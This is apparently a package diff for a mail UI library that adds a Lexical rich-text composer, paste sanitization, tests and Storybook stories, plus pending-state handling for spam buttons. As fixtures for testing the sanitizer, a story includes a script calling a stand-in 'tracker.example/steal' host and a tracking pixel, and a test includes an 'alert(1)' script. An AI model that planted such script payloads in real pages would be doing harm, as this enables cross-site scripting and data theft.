@remit/ui 0.0.95 → 0.0.97

package/package.json

@@ -1,12 +1,13 @@
 {
   "name": "@remit/ui",
-  "version": "0.0.95",
+  "version": "0.0.97",
   "type": "module",
   "files": [
     "src"
   ],
   "exports": {
     ".": "./src/index.ts",
+    "./rich-text": "./src/rich-text.ts",
     "./tokens.css": "./src/tokens.css"
   },
   "scripts": {
@@ -18,9 +19,20 @@
     "@fontsource-variable/geist": "^5",
     "@fontsource-variable/hanken-grotesk": "^5",
     "@fontsource-variable/inter": "^5",
+    "@lexical/code-core": "0.49.0",
+    "@lexical/html": "0.49.0",
+    "@lexical/link": "0.49.0",
+    "@lexical/list": "0.49.0",
+    "@lexical/markdown": "0.49.0",
+    "@lexical/react": "0.49.0",
+    "@lexical/rich-text": "0.49.0",
+    "@lexical/selection": "0.49.0",
+    "@lexical/table": "0.49.0",
+    "@lexical/utils": "0.49.0",
     "@react-types/shared": "^3.36.0",
     "clsx": "^2",
     "dompurify": "^3.4.7",
+    "lexical": "0.49.0",
     "lucide-react": "^0.468",
     "react-aria": "^3.50.0",
     "react-resizable-panels": "^2.1.9",

package/src/components/intelligence-panel.stories.tsx

@@ -245,9 +245,11 @@ export const SpamActionUnavailable: Story = {
  * action (a report against a message already in Junk is a real no-op-move,
  * issue #648), so without a pending label the button gives no visible
  * response at all until the request lands — the dead-button failure the
- * coding standards call the worst outcome. The button stays clickable
- * throughout, same as the undo direction's `isUndoing`: the operation is
- * idempotent, so a second press is safe, never a queued duplicate.
+ * coding standards call the worst outcome. The button is disabled for the
+ * duration: the server dedupes message ids only within a single request, so
+ * a second press mid-flight would fire a second, concurrent request rather
+ * than join the first (issue #648 review). Still visibly a button, never
+ * dead — the "Reporting…" label carries that.
  */
 export const ReportSpamPending: Story = {
 	args: {

package/src/components/intelligence-panel.tsx

@@ -188,10 +188,12 @@ export interface IntelligencePanelProps {
 	 * update for this action (issue #648: the client can't predict whether a
 	 * report against a message already in Junk is a no-op), so without this
 	 * the button gives no visible response at all until the request lands — a
-	 * dead button is the worst outcome. Swaps the label to "Reporting…"; the
-	 * handler stays wired throughout (same as `AutoMovedBadge`'s `isUndoing`)
-	 * because the operation is idempotent, so a second press mid-flight is
-	 * safe rather than a queued duplicate.
+	 * dead button is the worst outcome. Swaps the label to "Reporting…" AND
+	 * disables the button: the server dedupes message ids only within a
+	 * single request, so a second press mid-flight fires a second, concurrent
+	 * request rather than joining the first (issue #648 review — for "Not
+	 * spam" this races the restore move and can surface a spurious
+	 * "try again in a moment" for an undo that already succeeded).
 	 */
 	reportSpamPending?: boolean;
 	/** True while a "Not spam" (undo) press is in flight. Same treatment as `reportSpamPending`. */
@@ -336,17 +338,21 @@ function QuickAction({
 	active,
 	danger,
 	onClick,
+	pending,
 }: {
 	icon: ReactNode;
 	label: string;
 	active?: boolean;
 	danger?: boolean;
 	onClick?: () => void;
+	/** Disable the button without hiding it — a request for this action is already in flight. */
+	pending?: boolean;
 }) {
 	// No handler means the action cannot be serviced yet (the sender's address
 	// record has not resolved). Render it visibly unavailable rather than as a
-	// live button that swallows the click.
-	const disabled = onClick === undefined;
+	// live button that swallows the click. `pending` disables it for the same
+	// reason once a press is in flight.
+	const disabled = onClick === undefined || pending === true;
 	return (
 		<button
 			type="button"
@@ -465,6 +471,7 @@ export function IntelligencePanel({
 							label={notSpamPending ? "Undoing…" : "Not spam"}
 							active
 							onClick={actions.onNotSpam}
+							pending={notSpamPending}
 						/>
 					)}
 					{actions?.onReportSpam && (
@@ -473,6 +480,7 @@ export function IntelligencePanel({
 							label={reportSpamPending ? "Reporting…" : "Report spam"}
 							danger
 							onClick={actions.onReportSpam}
+							pending={reportSpamPending}
 						/>
 					)}
 					<QuickAction

package/src/components/rich-text-document.ts

@@ -0,0 +1,28 @@
+import { $generateHtmlFromNodes, $generateNodesFromDOM } from "@lexical/html";
+import { $convertToMarkdownString, TRANSFORMERS } from "@lexical/markdown";
+import type { LexicalEditor, LexicalNode } from "lexical";
+import { sanitizeAdoptedHtml } from "../lib/adopted-html.js";
+import type { RichTextValue } from "./rich-text-value.js";
+
+export const $adoptHtml = (
+	editor: LexicalEditor,
+	html: string,
+): LexicalNode[] => {
+	const document = new DOMParser().parseFromString(
+		sanitizeAdoptedHtml(html),
+		"text/html",
+	);
+	return $generateNodesFromDOM(editor, document);
+};
+
+/**
+ * Lexical's export writes the editor's own theme onto every element — the app's
+ * Tailwind class names, a `white-space` span around each text run, computed
+ * table widths. None of that means anything in a recipient's client, so the
+ * outgoing document goes back through the same profile a paste comes in
+ * through.
+ */
+export const $readRichText = (editor: LexicalEditor): RichTextValue => ({
+	html: sanitizeAdoptedHtml($generateHtmlFromNodes(editor, null)),
+	text: $convertToMarkdownString(TRANSFORMERS),
+});

package/src/components/rich-text-editor.mount.test.ts

@@ -0,0 +1,174 @@
+/**
+ * The editor mounted for real: a document it opens on renders as structure, and
+ * the value it reports back is the HTML that would be sent. React is imported
+ * after the jsdom globals are installed so its DOM bindings bind to jsdom's
+ * prototypes.
+ */
+import assert from "node:assert/strict";
+import { after, afterEach, before, beforeEach, describe, it } from "node:test";
+import type { JSDOM } from "jsdom";
+import type {
+	act as reactAct,
+	createElement as reactCreateElement,
+} from "react";
+import type { Root, createRoot as reactCreateRoot } from "react-dom/client";
+import type { RichTextEditor as RichTextEditorType } from "./rich-text-editor.js";
+import type { RichTextValue } from "./rich-text-value.js";
+
+const DOCUMENT = [
+	"<h2>Quarterly numbers</h2>",
+	"<ul><li>Revenue up</li></ul>",
+	"<table><tbody><tr><td>EMEA</td><td>412</td></tr></tbody></table>",
+].join("");
+
+let dom: JSDOM;
+let container: HTMLElement;
+let root: Root;
+let act: typeof reactAct;
+let createElement: typeof reactCreateElement;
+let createRoot: typeof reactCreateRoot;
+let RichTextEditor: typeof RichTextEditorType;
+
+/** The toolbar acts on mousedown, so a click alone never reaches it. */
+const press = (scope: HTMLElement, label: string): void => {
+	const button = scope.querySelector<HTMLButtonElement>(
+		`button[aria-label="${label}"]`,
+	);
+	if (!button) throw new Error(`no toolbar button labelled ${label}`);
+	button.dispatchEvent(
+		new dom.window.MouseEvent("mousedown", { bubbles: true, cancelable: true }),
+	);
+};
+
+before(async () => {
+	const { JSDOM: JSDOMCtor } = await import("jsdom");
+	dom = new JSDOMCtor(
+		"<!doctype html><html><body><div id=root></div></body></html>",
+		{ url: "http://localhost/", pretendToBeVisual: true },
+	);
+	globalThis.window = dom.window as unknown as typeof globalThis.window;
+	globalThis.document = dom.window.document;
+	globalThis.HTMLElement = dom.window.HTMLElement;
+	globalThis.Element = dom.window.Element;
+	globalThis.Node = dom.window.Node;
+	globalThis.Event = dom.window.Event;
+	globalThis.MouseEvent = dom.window.MouseEvent;
+	globalThis.DOMParser = dom.window.DOMParser;
+	globalThis.MutationObserver = dom.window.MutationObserver;
+	globalThis.Range = dom.window.Range;
+	// jsdom rejects a listener whose `signal` is not one of its own, and the
+	// table plugin abort-signals its cell listeners.
+	globalThis.AbortController = dom.window.AbortController;
+	globalThis.AbortSignal = dom.window.AbortSignal;
+	globalThis.getComputedStyle = dom.window.getComputedStyle.bind(dom.window);
+	globalThis.requestAnimationFrame = dom.window.requestAnimationFrame.bind(
+		dom.window,
+	);
+	globalThis.cancelAnimationFrame = dom.window.cancelAnimationFrame.bind(
+		dom.window,
+	);
+	Object.defineProperty(globalThis, "navigator", {
+		value: dom.window.navigator,
+		configurable: true,
+	});
+	(
+		globalThis as { IS_REACT_ACT_ENVIRONMENT?: boolean }
+	).IS_REACT_ACT_ENVIRONMENT = true;
+
+	({ act, createElement } = await import("react"));
+	({ createRoot } = await import("react-dom/client"));
+	({ RichTextEditor } = await import("./rich-text-editor.js"));
+});
+
+// A container is used once. React refuses to create a second root over one it
+// has already owned, and the editor holds a contenteditable that outlives the
+// unmount otherwise.
+beforeEach(() => {
+	container = dom.window.document.createElement("div");
+	dom.window.document.body.append(container);
+});
+
+afterEach(async () => {
+	await act(async () => {
+		root.unmount();
+	});
+	container.remove();
+});
+
+after(() => {
+	dom.window.close();
+});
+
+describe("RichTextEditor", () => {
+	it("renders the document it opens on and reports it back", async () => {
+		const seen: RichTextValue[] = [];
+
+		await act(async () => {
+			root = createRoot(container);
+			root.render(
+				createElement(RichTextEditor, {
+					initialHtml: DOCUMENT,
+					onChange: (value: RichTextValue) => {
+						seen.push(value);
+					},
+				}),
+			);
+		});
+
+		const editable = container.querySelector("[data-testid=compose-body]");
+		assert.ok(editable, "the editable surface is mounted");
+		assert.ok(editable.querySelector("h2"), "the heading renders as a heading");
+		assert.ok(editable.querySelector("ul li"), "the list renders as a list");
+		assert.ok(
+			editable.querySelector("table td"),
+			"the table renders as a table",
+		);
+
+		const latest = seen.at(-1);
+		assert.ok(latest, "the editor reported its value");
+		assert.match(latest.html, /<table/);
+		assert.match(latest.text, /## Quarterly numbers/);
+	});
+
+	it("offers the formatting controls the composer ships with", async () => {
+		await act(async () => {
+			root = createRoot(container);
+			root.render(createElement(RichTextEditor, {}));
+		});
+
+		const labels = [...container.querySelectorAll("button")].map((button) =>
+			button.getAttribute("aria-label"),
+		);
+		assert.deepEqual(labels, [
+			"Bold (Ctrl+B)",
+			"Italic (Ctrl+I)",
+			"Link (Ctrl+K)",
+			"Blockquote",
+			"Undo (Ctrl+Z)",
+			"Redo (Ctrl+Y)",
+		]);
+	});
+
+	it("asks for an address rather than inserting an empty link", async () => {
+		await act(async () => {
+			root = createRoot(container);
+			root.render(createElement(RichTextEditor, {}));
+		});
+
+		assert.equal(
+			container.querySelector("[aria-label='Link address']"),
+			null,
+			"the address field stays out of the way until it is asked for",
+		);
+
+		await act(async () => {
+			press(container, "Link (Ctrl+K)");
+		});
+
+		const field = container.querySelector<HTMLInputElement>(
+			"[aria-label='Link address']",
+		);
+		assert.ok(field, "clicking Link opens the address field");
+		assert.equal(field.value, "https://");
+	});
+});

package/src/components/rich-text-editor.stories.tsx

@@ -0,0 +1,66 @@
+import type { Meta, StoryObj } from "@storybook/react";
+import { sanitizeAdoptedHtml } from "../lib/adopted-html.js";
+import { RichTextEditor } from "./rich-text-editor.js";
+
+const meta: Meta<typeof RichTextEditor> = {
+	title: "Mail/RichTextEditor",
+	component: RichTextEditor,
+	parameters: { layout: "centered" },
+	decorators: [
+		(Story) => (
+			<div className="w-[640px] overflow-hidden rounded-md border border-line bg-canvas">
+				<Story />
+			</div>
+		),
+	],
+};
+export default meta;
+
+type Story = StoryObj<typeof RichTextEditor>;
+
+const RICH_DOCUMENT = [
+	"<h2>Quarterly numbers</h2>",
+	"<p>Highlights <strong>this quarter</strong>, with the detail below.</p>",
+	"<ul><li>Revenue up 14%</li><li>Costs flat</li></ul>",
+	"<table><thead><tr><th>Region</th><th>Total</th></tr></thead>",
+	"<tbody><tr><td>EMEA</td><td>412</td></tr>",
+	"<tr><td>Americas</td><td>388</td></tr></tbody></table>",
+	'<p>Source: <a href="https://example.com/report">the full report</a>.</p>',
+].join("");
+
+/**
+ * What a web page actually puts on the clipboard: presentation on every
+ * element, a tracking pixel, a script, and Word's conditional markup.
+ */
+const CLIPBOARD_HTML = [
+	'<meta charset="utf-8">',
+	"<!--[if gte mso 9]><xml><w:WordDocument/></xml><![endif]-->",
+	"<style>.hdr{color:#c00}</style>",
+	'<h3 class="hdr" style="color:#c00;font-family:Verdana">Release checklist</h3>',
+	'<ol><li style="margin:0">Cut the tag</li><li>Publish the images</li></ol>',
+	'<table style="border:2px dashed #c00"><tbody>',
+	"<tr><th>Step</th><th>Owner</th></tr>",
+	"<tr><td>Tag</td><td>Ada</td></tr></tbody></table>",
+	'<img src="http://tracker.example/px.gif" width="1" height="1">',
+	'<script>fetch("https://tracker.example/steal")</script>',
+].join("");
+
+export const Empty: Story = {
+	name: "Empty",
+	args: {},
+};
+
+export const RichContent: Story = {
+	name: "Rich content with a table",
+	args: { initialHtml: RICH_DOCUMENT },
+};
+
+/**
+ * The document after that clipboard has gone through the paste profile: the
+ * heading, the list and the table survive; the styling, the pixel and the
+ * script do not.
+ */
+export const PasteResult: Story = {
+	name: "After pasting a web page",
+	args: { initialHtml: sanitizeAdoptedHtml(CLIPBOARD_HTML) },
+};

package/src/components/rich-text-editor.tsx

@@ -0,0 +1,210 @@
+import { LexicalComposer } from "@lexical/react/LexicalComposer";
+import { useLexicalComposerContext } from "@lexical/react/LexicalComposerContext";
+import { ContentEditable } from "@lexical/react/LexicalContentEditable";
+import { LexicalErrorBoundary } from "@lexical/react/LexicalErrorBoundary";
+import { HistoryPlugin } from "@lexical/react/LexicalHistoryPlugin";
+import { LinkPlugin } from "@lexical/react/LexicalLinkPlugin";
+import { ListPlugin } from "@lexical/react/LexicalListPlugin";
+import { RichTextPlugin } from "@lexical/react/LexicalRichTextPlugin";
+import { TablePlugin } from "@lexical/react/LexicalTablePlugin";
+import { mergeRegister } from "@lexical/utils";
+import {
+	$getRoot,
+	$getSelection,
+	$insertNodes,
+	$isRangeSelection,
+	COMMAND_PRIORITY_CRITICAL,
+	COMMAND_PRIORITY_LOW,
+	KEY_DOWN_COMMAND,
+	type LexicalEditor,
+	PASTE_COMMAND,
+} from "lexical";
+import { useEffect, useRef } from "react";
+import { $adoptHtml, $readRichText } from "./rich-text-document.js";
+import { RICH_TEXT_NODES, richTextTheme } from "./rich-text-nodes.js";
+import { RichTextToolbar } from "./rich-text-toolbar.js";
+import type { RichTextValue } from "./rich-text-value.js";
+
+export interface RichTextEditorProps {
+	/**
+	 * The document the editor opens on. Read once — reopen a different document
+	 * by remounting under a different `key`.
+	 */
+	initialHtml?: string;
+	onChange?: (value: RichTextValue) => void;
+	onSubmit?: () => void;
+	autoFocus?: boolean;
+	placeholder?: string;
+	ariaLabel?: string;
+}
+
+/**
+ * Adopted HTML enters the document as structure, never as characters. Without
+ * this, a clipboard whose only markup lives in its text flavour puts the source
+ * of a web page into the message (#671).
+ *
+ * `Shift` on the paste keystroke selects the text flavour, matching Gmail and
+ * Apple Mail. The clipboard event carries no modifier state, so the keystroke
+ * that triggered it is what records the intent.
+ */
+const PastePlugin = () => {
+	const [editor] = useLexicalComposerContext();
+	const plainRequested = useRef(false);
+
+	useEffect(
+		() =>
+			mergeRegister(
+				editor.registerCommand(
+					KEY_DOWN_COMMAND,
+					(event) => {
+						if (
+							(event.metaKey || event.ctrlKey) &&
+							event.key.toLowerCase() === "v"
+						) {
+							plainRequested.current = event.shiftKey;
+						}
+						return false;
+					},
+					COMMAND_PRIORITY_LOW,
+				),
+				editor.registerCommand(
+					PASTE_COMMAND,
+					(event) => {
+						// Lexical raises this command for `beforeinput` too, so the
+						// modifier is read only once the event carrying the clipboard has
+						// arrived — anything else would consume the intent.
+						if (!(event instanceof ClipboardEvent)) return false;
+						const clipboard = event.clipboardData;
+						if (!clipboard) return false;
+						const wasPlainRequested = plainRequested.current;
+						plainRequested.current = false;
+
+						if (wasPlainRequested) {
+							const selection = $getSelection();
+							if (!$isRangeSelection(selection)) return false;
+							event.preventDefault();
+							selection.insertRawText(clipboard.getData("text/plain"));
+							return true;
+						}
+
+						const html = clipboard.getData("text/html");
+						if (!html) return false;
+
+						event.preventDefault();
+						$insertNodes($adoptHtml(editor, html));
+						return true;
+					},
+					COMMAND_PRIORITY_CRITICAL,
+				),
+			),
+		[editor],
+	);
+
+	return null;
+};
+
+/**
+ * Reports the document on mount as well as on every edit. What the caller
+ * handed in as `initialHtml` is not what the editor holds — it has been through
+ * the paste profile and Lexical's own import — so a caller that assumed
+ * otherwise would autosave a body the composer is not showing.
+ */
+const ChangePlugin = ({
+	onChange,
+}: {
+	onChange: (value: RichTextValue) => void;
+}) => {
+	const [editor] = useLexicalComposerContext();
+	const report = useRef(onChange);
+
+	useEffect(() => {
+		report.current = onChange;
+	}, [onChange]);
+
+	useEffect(() => {
+		const emit = () => report.current(editor.read(() => $readRichText(editor)));
+		emit();
+		return editor.registerUpdateListener(({ dirtyElements, dirtyLeaves }) => {
+			if (dirtyElements.size === 0 && dirtyLeaves.size === 0) return;
+			emit();
+		});
+	}, [editor]);
+
+	return null;
+};
+
+const AutoFocus = ({ enabled }: { enabled: boolean }) => {
+	const [editor] = useLexicalComposerContext();
+
+	useEffect(() => {
+		if (!enabled) return;
+		const timer = setTimeout(() => editor.focus(), 0);
+		return () => clearTimeout(timer);
+	}, [editor, enabled]);
+
+	return null;
+};
+
+const seedDocument =
+	(html: string) =>
+	(editor: LexicalEditor): void => {
+		const nodes = $adoptHtml(editor, html);
+		if (nodes.length === 0) return;
+		$getRoot().select();
+		$insertNodes(nodes);
+	};
+
+export const RichTextEditor = ({
+	initialHtml,
+	onChange,
+	onSubmit,
+	autoFocus = false,
+	placeholder = "Write your message…",
+	ariaLabel = "Message body",
+}: RichTextEditorProps) => (
+	<LexicalComposer
+		initialConfig={{
+			namespace: "compose",
+			nodes: RICH_TEXT_NODES,
+			theme: richTextTheme,
+			editorState: initialHtml ? seedDocument(initialHtml) : undefined,
+			onError: (error) => {
+				throw error;
+			},
+		}}
+	>
+		<RichTextToolbar />
+		<div className="relative">
+			<RichTextPlugin
+				contentEditable={
+					<ContentEditable
+						aria-label={ariaLabel}
+						aria-placeholder={placeholder}
+						data-testid="compose-body"
+						className="min-h-[120px] w-full bg-canvas px-3 py-2 text-sm text-fg outline-none"
+						placeholder={
+							<div className="pointer-events-none absolute inset-x-0 top-0 px-3 py-2 text-sm text-fg-subtle">
+								{placeholder}
+							</div>
+						}
+						onKeyDown={(event) => {
+							if (!onSubmit) return;
+							if (!(event.metaKey || event.ctrlKey) || event.key !== "Enter")
+								return;
+							event.preventDefault();
+							onSubmit();
+						}}
+					/>
+				}
+				ErrorBoundary={LexicalErrorBoundary}
+			/>
+		</div>
+		<HistoryPlugin />
+		<ListPlugin />
+		<LinkPlugin />
+		<TablePlugin />
+		<PastePlugin />
+		<AutoFocus enabled={autoFocus} />
+		{onChange && <ChangePlugin onChange={onChange} />}
+	</LexicalComposer>
+);

package/src/components/rich-text-nodes.ts

@@ -0,0 +1,59 @@
+import { CodeHighlightNode, CodeNode } from "@lexical/code-core";
+import { AutoLinkNode, LinkNode } from "@lexical/link";
+import { ListItemNode, ListNode } from "@lexical/list";
+import { HorizontalRuleNode } from "@lexical/react/LexicalHorizontalRuleNode";
+import { HeadingNode, QuoteNode } from "@lexical/rich-text";
+import { TableCellNode, TableNode, TableRowNode } from "@lexical/table";
+import type { EditorThemeClasses, Klass, LexicalNode } from "lexical";
+
+/**
+ * Lexical maps a pasted element only to a node type the editor has registered;
+ * anything else collapses to its text. Registering headings, lists, tables,
+ * code and rules is what lets adopted structure survive the paste (#671).
+ */
+export const RICH_TEXT_NODES: ReadonlyArray<Klass<LexicalNode>> = [
+	HeadingNode,
+	QuoteNode,
+	ListNode,
+	ListItemNode,
+	LinkNode,
+	AutoLinkNode,
+	TableNode,
+	TableRowNode,
+	TableCellNode,
+	CodeNode,
+	CodeHighlightNode,
+	HorizontalRuleNode,
+];
+
+export const richTextTheme: EditorThemeClasses = {
+	code: "block my-2 rounded bg-surface-sunken p-2 font-mono text-xs whitespace-pre-wrap",
+	heading: {
+		h1: "mt-3 mb-1 text-xl font-semibold",
+		h2: "mt-3 mb-1 text-lg font-semibold",
+		h3: "mt-2 mb-1 text-base font-semibold",
+		h4: "mt-2 mb-1 text-sm font-semibold",
+		h5: "mt-2 mb-1 text-sm font-semibold",
+		h6: "mt-2 mb-1 text-xs font-semibold uppercase tracking-wide",
+	},
+	hr: "my-3 border-t border-line",
+	link: "text-accent underline",
+	list: {
+		listitem: "ml-2",
+		nested: { listitem: "list-none" },
+		ol: "my-1 list-decimal pl-6",
+		ul: "my-1 list-disc pl-6",
+	},
+	paragraph: "my-1",
+	quote: "my-1 border-l-2 border-fg-subtle/30 pl-3 text-fg-muted [&_p]:my-0.5",
+	table: "my-2 w-full table-fixed border-collapse",
+	tableCell: "border border-line px-2 py-1 align-top",
+	tableCellHeader: "bg-surface-sunken font-semibold",
+	text: {
+		bold: "font-semibold",
+		code: "rounded bg-surface-sunken px-1 font-mono text-xs",
+		italic: "italic",
+		strikethrough: "line-through",
+		underline: "underline",
+	},
+};

package/src/components/rich-text-paste.test.ts

@@ -0,0 +1,108 @@
+/**
+ * #671: pasting a web page into compose put its HTML source into the message.
+ * Structure only survives when the editor has a node registered for the element
+ * it came from, so this drives the same pipeline the paste handler does —
+ * sanitize, parse, convert — and reads the document back out as the HTML that
+ * would be sent.
+ */
+import assert from "node:assert/strict";
+import { before, describe, it } from "node:test";
+import type { JSDOM } from "jsdom";
+import type { LexicalEditor } from "lexical";
+
+const PASTED = [
+	'<meta charset="utf-8">',
+	'<h2 style="color:#111">Quarterly numbers</h2>',
+	"<p>Highlights <strong>this quarter</strong>:</p>",
+	"<ul><li>Revenue up</li><li>Costs flat</li></ul>",
+	"<table><thead><tr><th>Region</th><th>Total</th></tr></thead>",
+	"<tbody><tr><td>EMEA</td><td>412</td></tr></tbody></table>",
+	"<script>alert(1)</script>",
+].join("");
+
+let adoptAndSerialize: (html: string) => { html: string; text: string };
+
+before(async () => {
+	const { JSDOM: JSDOMCtor } = await import("jsdom");
+	const dom: JSDOM = new JSDOMCtor(
+		"<!doctype html><html><body></body></html>",
+		{ url: "http://localhost/" },
+	);
+	globalThis.window = dom.window as unknown as typeof globalThis.window;
+	globalThis.document = dom.window.document;
+	globalThis.DOMParser = dom.window.DOMParser;
+	globalThis.HTMLElement = dom.window.HTMLElement;
+	globalThis.Element = dom.window.Element;
+	globalThis.Node = dom.window.Node;
+
+	const { $getRoot, $insertNodes, createEditor } = await import("lexical");
+	const { $adoptHtml, $readRichText } = await import("./rich-text-document.js");
+	const { RICH_TEXT_NODES } = await import("./rich-text-nodes.js");
+
+	adoptAndSerialize = (html: string) => {
+		const editor: LexicalEditor = createEditor({
+			namespace: "test",
+			nodes: [...RICH_TEXT_NODES],
+			onError: (error) => {
+				throw error;
+			},
+		});
+		editor.update(
+			() => {
+				const root = $getRoot();
+				root.clear();
+				root.select();
+				$insertNodes($adoptHtml(editor, html));
+			},
+			{ discrete: true },
+		);
+		return editor.read(() => $readRichText(editor));
+	};
+});
+
+describe("adopting pasted HTML", () => {
+	it("keeps the heading, the list and the table", () => {
+		const { html } = adoptAndSerialize(PASTED);
+
+		assert.match(html, /<h2/);
+		assert.match(html, /Quarterly numbers/);
+		assert.match(html, /<ul/);
+		assert.match(html, /Revenue up/);
+		assert.match(html, /<table/);
+		assert.match(html, /EMEA/);
+		assert.match(html, /412/);
+		assert.match(html, /<strong/);
+	});
+
+	it("never carries the markup through as characters", () => {
+		const { html, text } = adoptAndSerialize(PASTED);
+
+		assert.equal(html.includes("&lt;h2"), false);
+		assert.equal(text.includes("<h2"), false);
+		assert.equal(text.includes("<table"), false);
+	});
+
+	it("leaves out the script and the author's presentation", () => {
+		const { html, text } = adoptAndSerialize(PASTED);
+
+		assert.equal(html.includes("<script"), false);
+		assert.equal(text.includes("alert(1)"), false);
+		assert.equal(html.includes("color:#111"), false);
+	});
+
+	it("leaves out this app's own presentation too", () => {
+		const { html } = adoptAndSerialize(PASTED);
+
+		assert.equal(html.includes('class="'), false);
+		assert.equal(html.includes("white-space"), false);
+		assert.equal(html.includes("style="), false);
+	});
+
+	it("writes the plain alternative as Markdown", () => {
+		const { text } = adoptAndSerialize(PASTED);
+
+		assert.match(text, /## Quarterly numbers/);
+		assert.match(text, /- Revenue up/);
+		assert.match(text, /\*\*this quarter\*\*/);
+	});
+});

package/src/components/rich-text-toolbar.tsx

@@ -0,0 +1,237 @@
+import { $isLinkNode, TOGGLE_LINK_COMMAND } from "@lexical/link";
+import { useLexicalComposerContext } from "@lexical/react/LexicalComposerContext";
+import { $createQuoteNode, $isQuoteNode } from "@lexical/rich-text";
+import { $setBlocksType } from "@lexical/selection";
+import { $findMatchingParent, mergeRegister } from "@lexical/utils";
+import {
+	$createParagraphNode,
+	$getSelection,
+	$isRangeSelection,
+	CAN_REDO_COMMAND,
+	CAN_UNDO_COMMAND,
+	COMMAND_PRIORITY_LOW,
+	FORMAT_TEXT_COMMAND,
+	REDO_COMMAND,
+	SELECTION_CHANGE_COMMAND,
+	UNDO_COMMAND,
+} from "lexical";
+import { Bold, Italic, Link, Quote, Redo2, Undo2 } from "lucide-react";
+import { useCallback, useEffect, useRef, useState } from "react";
+
+const ToolbarButton = ({
+	isActive,
+	onClick,
+	children,
+	title,
+}: {
+	isActive: boolean;
+	onClick: () => void;
+	children: React.ReactNode;
+	title: string;
+}) => (
+	<button
+		type="button"
+		onMouseDown={(e) => {
+			e.preventDefault();
+			onClick();
+		}}
+		title={title}
+		aria-label={title}
+		aria-pressed={isActive}
+		className={`p-1.5 rounded transition-colors ${
+			isActive
+				? "text-fg bg-accent-2-soft"
+				: "text-fg-muted hover:text-fg hover:bg-surface-raised"
+		}`}
+	>
+		{children}
+	</button>
+);
+
+interface ToolbarState {
+	bold: boolean;
+	italic: boolean;
+	quote: boolean;
+	link: string | null;
+	canUndo: boolean;
+	canRedo: boolean;
+}
+
+const INITIAL_STATE: ToolbarState = {
+	bold: false,
+	italic: false,
+	quote: false,
+	link: null,
+	canUndo: false,
+	canRedo: false,
+};
+
+export const RichTextToolbar = () => {
+	const [editor] = useLexicalComposerContext();
+	const [state, setState] = useState<ToolbarState>(INITIAL_STATE);
+	const [linkDraft, setLinkDraft] = useState<string | null>(null);
+	const linkInput = useRef<HTMLInputElement>(null);
+
+	const readSelection = useCallback(() => {
+		const selection = $getSelection();
+		if (!$isRangeSelection(selection)) return;
+		const anchor = selection.anchor.getNode();
+		const link = $findMatchingParent(anchor, $isLinkNode);
+		const quote = $findMatchingParent(anchor, $isQuoteNode);
+		setState((previous) => ({
+			...previous,
+			bold: selection.hasFormat("bold"),
+			italic: selection.hasFormat("italic"),
+			quote: quote !== null,
+			link: $isLinkNode(link) ? link.getURL() : null,
+		}));
+	}, []);
+
+	useEffect(
+		() =>
+			mergeRegister(
+				editor.registerUpdateListener(({ editorState }) => {
+					editorState.read(readSelection);
+				}),
+				editor.registerCommand(
+					SELECTION_CHANGE_COMMAND,
+					() => {
+						readSelection();
+						return false;
+					},
+					COMMAND_PRIORITY_LOW,
+				),
+				editor.registerCommand(
+					CAN_UNDO_COMMAND,
+					(canUndo) => {
+						setState((previous) => ({ ...previous, canUndo }));
+						return false;
+					},
+					COMMAND_PRIORITY_LOW,
+				),
+				editor.registerCommand(
+					CAN_REDO_COMMAND,
+					(canRedo) => {
+						setState((previous) => ({ ...previous, canRedo }));
+						return false;
+					},
+					COMMAND_PRIORITY_LOW,
+				),
+			),
+		[editor, readSelection],
+	);
+
+	useEffect(() => {
+		if (linkDraft !== null) linkInput.current?.focus();
+	}, [linkDraft]);
+
+	const toggleQuote = () => {
+		editor.update(() => {
+			const selection = $getSelection();
+			if (!$isRangeSelection(selection)) return;
+			$setBlocksType(selection, () =>
+				state.quote ? $createParagraphNode() : $createQuoteNode(),
+			);
+		});
+	};
+
+	const applyLink = (url: string) => {
+		const trimmed = url.trim();
+		editor.dispatchCommand(
+			TOGGLE_LINK_COMMAND,
+			trimmed === "" ? null : trimmed,
+		);
+		setLinkDraft(null);
+		editor.focus();
+	};
+
+	return (
+		<div className="border-b border-line">
+			<div className="flex items-center gap-0.5 px-3 py-1">
+				<ToolbarButton
+					isActive={state.bold}
+					onClick={() => editor.dispatchCommand(FORMAT_TEXT_COMMAND, "bold")}
+					title="Bold (Ctrl+B)"
+				>
+					<Bold className="size-4" />
+				</ToolbarButton>
+				<ToolbarButton
+					isActive={state.italic}
+					onClick={() => editor.dispatchCommand(FORMAT_TEXT_COMMAND, "italic")}
+					title="Italic (Ctrl+I)"
+				>
+					<Italic className="size-4" />
+				</ToolbarButton>
+				<ToolbarButton
+					isActive={state.link !== null}
+					onClick={() => setLinkDraft(state.link ?? "https://")}
+					title="Link (Ctrl+K)"
+				>
+					<Link className="size-4" />
+				</ToolbarButton>
+				<ToolbarButton
+					isActive={state.quote}
+					onClick={toggleQuote}
+					title="Blockquote"
+				>
+					<Quote className="size-4" />
+				</ToolbarButton>
+				<div className="mx-1.5 h-4 w-px bg-line" />
+				<ToolbarButton
+					isActive={false}
+					onClick={() => editor.dispatchCommand(UNDO_COMMAND, undefined)}
+					title="Undo (Ctrl+Z)"
+				>
+					<Undo2 className={`size-4 ${state.canUndo ? "" : "opacity-40"}`} />
+				</ToolbarButton>
+				<ToolbarButton
+					isActive={false}
+					onClick={() => editor.dispatchCommand(REDO_COMMAND, undefined)}
+					title="Redo (Ctrl+Y)"
+				>
+					<Redo2 className={`size-4 ${state.canRedo ? "" : "opacity-40"}`} />
+				</ToolbarButton>
+			</div>
+			{linkDraft !== null && (
+				<div className="flex items-center gap-2 border-t border-line px-3 py-1.5">
+					<input
+						ref={linkInput}
+						type="url"
+						value={linkDraft}
+						aria-label="Link address"
+						placeholder="https://example.com"
+						className="min-w-0 flex-1 bg-transparent text-sm text-fg outline-none placeholder:text-fg-subtle"
+						onChange={(e) => setLinkDraft(e.target.value)}
+						onKeyDown={(e) => {
+							if (e.key === "Enter") {
+								e.preventDefault();
+								applyLink(linkDraft);
+							}
+							if (e.key === "Escape") {
+								e.preventDefault();
+								setLinkDraft(null);
+								editor.focus();
+							}
+						}}
+					/>
+					<button
+						type="button"
+						className="text-xs text-accent hover:underline"
+						onClick={() => applyLink(linkDraft)}
+					>
+						Apply
+					</button>
+					{state.link !== null && (
+						<button
+							type="button"
+							className="text-xs text-fg-muted hover:text-fg"
+							onClick={() => applyLink("")}
+						>
+							Remove
+						</button>
+					)}
+				</div>
+			)}
+		</div>
+	);
+};

package/src/components/rich-text-value.ts

@@ -0,0 +1,14 @@
+/**
+ * What the composer holds. `html` is what gets sent and what a draft stores —
